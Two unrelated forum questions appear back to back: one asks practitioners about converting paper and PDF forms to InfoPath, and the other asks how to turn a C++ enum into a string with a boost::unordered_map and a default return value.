  Hi there: I’ve been asked to look into how best to move forms into InfoPath and have a couple of basic questions about your experiences so I can get an insider’s lay of the land. Even some short, quick bullets would be really helpful -- thank you! Are you starting from scratch in InfoPath, or are you converting from paper or a different e-format? (Jetform, PDF, etc.) Are you trying to re-create the layout of a specific paper form, or is a regular online form OK? (trying to learn what the latest thinking is about this) Do you need only simple fill and submit capabilities, or do you need programming for calculations, validation, database lookup/entry/reporting, etc. as well? (don’t know how much harder it is to do all this vs. not) How long does each form take to finish? (I know it depends, but is there a rough guideline for planning purposes?) Who’s doing the actual work? (by title or function) What is especially straightforward or challenging about moving to InfoPath forms? (forewarned is forearmed!)

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• Convert enumeration to string

  - by emptyheaded

  I am trying to build a function that converts an item from an enum to its corresponding string. The enums I use are fairly long, so I didn't want to use a switch-case. I found a method using boost::unordered_map very convenient, but I don't know how to make a default return (when there is no item matching the enum). const boost::unordered_map<enum_type, const std::string> enumToString = boost::assign::map_list_of (data_1, "data_1") (data_2, "data_2"); I tried to create an additional function: std::string convert(enum_type entry) { if (enumToString.find(entry)) // not sure what test to place here, return enumToString.at(entry); //because the find method returns an iter else return "invalid_value"; } I even tried something exceedingly wrong: std::string convert(enum_type entry) { try{ return enumToString.at(entry); } catch(...){ return "invalid_value"; } } Result: evil "Debug" runtime error. Can somebody give me a suggestion on how to either 1) find an easier method to convert enum to a string with the same name as the enum item 2) find a way to use already built boost methods to get a default value from a hash map (best option) 3) find what to place in the test to use a function that returns either the pair of the key-value, or a different string if the key is not found in the map. Thank you very much.

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